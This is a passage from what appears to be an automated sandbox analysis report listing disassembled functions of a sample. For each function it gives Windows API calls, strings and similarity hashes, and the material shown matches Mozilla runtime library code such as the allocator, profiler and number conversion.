_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C81148E), ref: 6C7F6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qyl,00000000,?), ref: 6C7F60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7F60C4

Strings

Qyl, xrefs: 6C7F5FFC, 6C7F6042, 6C7F6045, 6C7F60B3

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qyl
API String ID: 3835517998-4009424572
Opcode ID: 679e0707ec2fa78dcef8b5be253803e9648ef06b34286c3f9df2cab43800c52d
Instruction ID: 53dfe88f589177023959c3f7606c6c7fc807bf479be474cb1d108fd520238549
Opcode Fuzzy Hash: 679e0707ec2fa78dcef8b5be253803e9648ef06b34286c3f9df2cab43800c52d
Instruction Fuzzy Hash: 6821A3B1A002199FDB205F24DC4DAAA7BF8FF45318F108438E85A97741CB75AA49CFD2

Function 6C7D7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C7D81E3, 6C7D8311
(pre-xul), xrefs: 6C7D7E88
data, xrefs: 6C7D8280, 6C7D83E1
name, xrefs: 6C7D7ECF, 6C7D8335

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 0747a7f3b093614838bf42490fd879c3eb74d348fba1f5d39952e15bdc4e359d
Instruction ID: c00d9701951fb063feba53aa5df8d404655582ba410cf7cfd076f182c4bdd35e
Opcode Fuzzy Hash: 0747a7f3b093614838bf42490fd879c3eb74d348fba1f5d39952e15bdc4e359d
Instruction Fuzzy Hash: 07E18FB1B043418BC710CF68C94565BFBEABB85318F558E2DE899D7780DB70ED098B91

Function 6C7BD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD4F2
LeaveCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD50B

Part of subcall function 6C79CFE0: EnterCriticalSection.KERNEL32(6C81E784), ref: 6C79CFF6
Part of subcall function 6C79CFE0: LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C79D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD52E
EnterCriticalSection.KERNEL32(6C81E7DC), ref: 6C7BD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7BD6A6
LeaveCriticalSection.KERNEL32(6C81E7DC), ref: 6C7BD712
LeaveCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7BD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C7BD82C
<jemalloc>, xrefs: 6C7BD827

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: c32f9dd7e2e07834a4d7f21a298a3b1b0034ddb1c55ecc86f6b0c70b0db5659b
Instruction ID: 2aeecfb424257bb08660e4ca2b2ce215d5cc039eb86e7f439ad1b521c33ee9fb
Opcode Fuzzy Hash: c32f9dd7e2e07834a4d7f21a298a3b1b0034ddb1c55ecc86f6b0c70b0db5659b
Instruction Fuzzy Hash: 6591C371A047028FD724CF38C29466AB7E1EBA9318F14893EE55AD7F85D730E844CB86

Function 6C7B5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2
memset.VCRUNTIME140(6C7F7765,000000E5,81C09015), ref: 6C7B61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C7B7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C7B730D
MOZ_CRASH(), xrefs: 6C7B7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C7B72E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7B7BCD, 6C7B7C1F, 6C7B7C34, 6C7B80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C7B72F8

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 9eb2116c70c26758b8a87728c16f5272fceda0ccd2955046f21c170947bad3ee
Instruction ID: fc18a59d57177d6d311658a00388328d3279c3dce48b7f9db0260171db3c422a
Opcode Fuzzy Hash: 9eb2116c70c26758b8a87728c16f5272fceda0ccd2955046f21c170947bad3ee
Instruction Fuzzy Hash: 3D338C716067028FC308CF29C690615FBE2BF85328F29C6ADE9699F7A5D731E841CB51

Function 6C7E4820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C7E4DB8, 6C7E4DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C7E4CAF
schema, xrefs: 6C7E48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C7E4D65
ProfileBuffer parse error: %s, xrefs: 6C7E4DD9
-%llu, xrefs: 6C7E4825
data, xrefs: 6C7E49B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C7E4D0A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: 5ad5561180e3b6bf39196d4fa593cc1a6856b898dc0870e41bdb22dc7ad37616
Instruction ID: 3e8a8ca7b2af97f6864de4955dbdf8cb9ff3958ec915360d0e656d62c43a87f9
Opcode Fuzzy Hash: 5ad5561180e3b6bf39196d4fa593cc1a6856b898dc0870e41bdb22dc7ad37616
Instruction Fuzzy Hash: 27721B71A18B858BD322CF34C55539BF7E5BFDA344F108B1DE48A6B610EB70A486DB42

Function 6C7F4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C7F4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F4F2E
moz_xmalloc.MOZGLUE ref: 6C7F4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C7F4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F52E6
Sleep.KERNEL32(00000010), ref: 6C7F5481
free.MOZGLUE(?), ref: 6C7F5498

Strings

(, xrefs: 6C7F5250

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: e2c63972ec8334da7cb222abf955668e240531d1aa27fe956c795990594ad458
Instruction ID: 04e5ec7831d920bb8ce2a26b863bce51f670b87a702449886eb26d0cb9049f20
Opcode Fuzzy Hash: e2c63972ec8334da7cb222abf955668e240531d1aa27fe956c795990594ad458
Instruction Fuzzy Hash: 46F1B171A18B018FC726CF39C85162BB7F9AFD6388F05872EF856A7651DB319442CB81

Function 6C7A7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E744), ref: 6C7A7885
LeaveCriticalSection.KERNEL32(6C81E744), ref: 6C7A78A5
EnterCriticalSection.KERNEL32(6C81E784), ref: 6C7A78AD
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C7A78CD
EnterCriticalSection.KERNEL32(6C81E7DC), ref: 6C7A78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C7A78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C7A795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C7A79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C7A7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C7A7C82
LeaveCriticalSection.KERNEL32(6C81E7DC), ref: 6C7A7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C7A7DAF

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 0d45476715fdaa5c473f2a42b9e7c1f3767cecc4b925761506db9373d474e4d3
Instruction ID: 654dd4ccd7b0a551c1427887483e10b17e056184dd07f572c5020e20184694c0
Opcode Fuzzy Hash: 0d45476715fdaa5c473f2a42b9e7c1f3767cecc4b925761506db9373d474e4d3
Instruction Fuzzy Hash: 9D027271A0121ACFDB54CF59CA84799B7B5FF88318F2582AAD809A7715D730BE91CF80

Function 6C7F7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C7F7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C7F7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7F707E

Part of subcall function 6C7A81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C7A81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7F7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7F709C
LocalFree.KERNEL32(?), ref: 6C7F70AA

Strings

### ERROR: %s: %s, xrefs: 6C7F7087
(null), xrefs: 6C7F706A, 6C7F7083

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ae0d42dbe7ec857c8ad52c6c9ffcd08d1ce24f19baa84c545743b1a864b65400
Instruction ID: 8d8858cbff70002cde4e999b4d56fe1a29e68f509fc33d0968099b88bb1fa886
Opcode Fuzzy Hash: ae0d42dbe7ec857c8ad52c6c9ffcd08d1ce24f19baa84c545743b1a864b65400
Instruction Fuzzy Hash: 8C0184B2A00109AFDB145BA5DC4EDAB7BFCEF49258B010439FA05A2B41D6716918CBE1

Function 6C7B9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7B9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C7B9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7B9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C7BA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7BA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7BA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7BA8B1, 6C7BA8D4, 6C7BA8EF

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 630817791a8517b29f9b74be76ad4c2759d449164b389ef49a0a29ba675b8773
Instruction ID: 8c4be0a083d7e491c2c64851f7a5729f94f71e41dcbf1d10870d9f8a5cc8352c
Opcode Fuzzy Hash: 630817791a8517b29f9b74be76ad4c2759d449164b389ef49a0a29ba675b8773
Instruction Fuzzy Hash: EB727B72A057128FD315DF29C640715FBE1BF89328F29C66DE869AB791D335E842CB80

Function 6C7E2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C7E2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C7E2C61

Part of subcall function 6C794DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C794E5A
Part of subcall function 6C794DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C794E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7E2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7E2E2D

Part of subcall function 6C7A81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C7A81DE

Strings

expected a Time entry, xrefs: 6C7E2E36
ProfileBuffer parse error: %s, xrefs: 6C7E2E3B
(root), xrefs: 6C7E354F

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 5681da29a4f2b62af4b7326fd123bdc2cebeeb97b9b07b9c9f8fd3c90446043e
Instruction ID: 398c7679de5f033cad3f97ed83f189114eb597e6ae60c464d6e15f15b64c5734
Opcode Fuzzy Hash: 5681da29a4f2b62af4b7326fd123bdc2cebeeb97b9b07b9c9f8fd3c90446043e
Instruction Fuzzy Hash: 1C91D2726087428FC724CF28C58969FB7E0AFC9358F104D2DE59A8BB60DB30D949CB52

Function 6C7F9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C7F9F3D
__aulldiv.LIBCMT ref: 6C7F9F77
__aullrem.LIBCMT ref: 6C7F9F8C
__aulldiv.LIBCMT ref: 6C7FA023

Strings

-Infinity, xrefs: 6C7F9E60, 6C7F9E7B
NaN, xrefs: 6C7F9EAB

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 53b17d96b48c00e36ef2b9d0ef523a43733321107cbed980537a53c2fc9c7761
Instruction ID: a0d240c80e9119c69dcdb5f9cf086b71a68328f308a8261739ba931d7fd03116
Opcode Fuzzy Hash: 53b17d96b48c00e36ef2b9d0ef523a43733321107cbed980537a53c2fc9c7761
Instruction Fuzzy Hash: 21C1DE31F043198FDB14CFA8CA8479EB7B6FB84324F15452DD425ABB80DB71A94ACB91

Function 6C79D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C79DC08
0, xrefs: 6C79D852
-, xrefs: 6C79D7DD
9, xrefs: 6C79DE7F
1, xrefs: 6C79DBDD
@, xrefs: 6C79DAF6
, xrefs: 6C79DA88
0, xrefs: 6C79DC7F

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 500799e8b561a8c6aec888f11fcc3f870a57114e0b0d00008f809dbb8bd2524c
Instruction ID: 811f4c531afa856be963364db5d67fd19b45560f2a99d8683295f3be4b342d7f
Opcode Fuzzy Hash: 500799e8b561a8c6aec888f11fcc3f870a57114e0b0d00008f809dbb8bd2524c
Instruction Fuzzy Hash: 1862D33060C3458FD701CF29E29075ABBF2BFA6358F184A2DE4E54BA51D335D885CB8A

Function 6C80545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C808A4B

Strings

~qyl, xrefs: 6C805703, 6C809459, 6C8056C7, 6C805740, 6C80921F, 6C809269, 6C80948F

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memset
String ID: ~qyl
API String ID: 2221118986-1164895512
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: b67ec6e34cba9fa6512ae4c01e99be038dc335e368658739ab64a4667c984d3b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 37B1D472B0021ACFDB24CF68CD917A9B7B2EF85314F1906A9C549EB781D730A985CB91

Function 6C80542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C8088F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C80925C

Strings

~qyl, xrefs: 6C805703, 6C809459, 6C8056C7, 6C805740, 6C80921F, 6C809269, 6C80948F

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memset
String ID: ~qyl
API String ID: 2221118986-1164895512
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 16308fe08f6f88023c83867b9bbf13cb2b449226b1f8d7bd0400b4671a9cc12f
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: B3B1C572F0160ACFDB24CE68CD816E9B7B2EF85314F150679C949EB785D730A989CB90

Function 6C8050C7 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C808E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C80925C

Strings

~qyl, xrefs: 6C805703, 6C809459, 6C8056C7, 6C805740, 6C80921F, 6C809269, 6C80948F

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memset
String ID: ~qyl
API String ID: 2221118986-1164895512
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 8ecc29be80798f407ddf7d8e52e29f51b68715e55e6ae3668bfe8b424f9ecc09
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: ACA1D772F0021ACFCB24CE68CD90799B7B2AF85314F1546B9C949EB785D730A999CB90

Function 6C7FC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C7FC0E9), ref: 6C7FC418
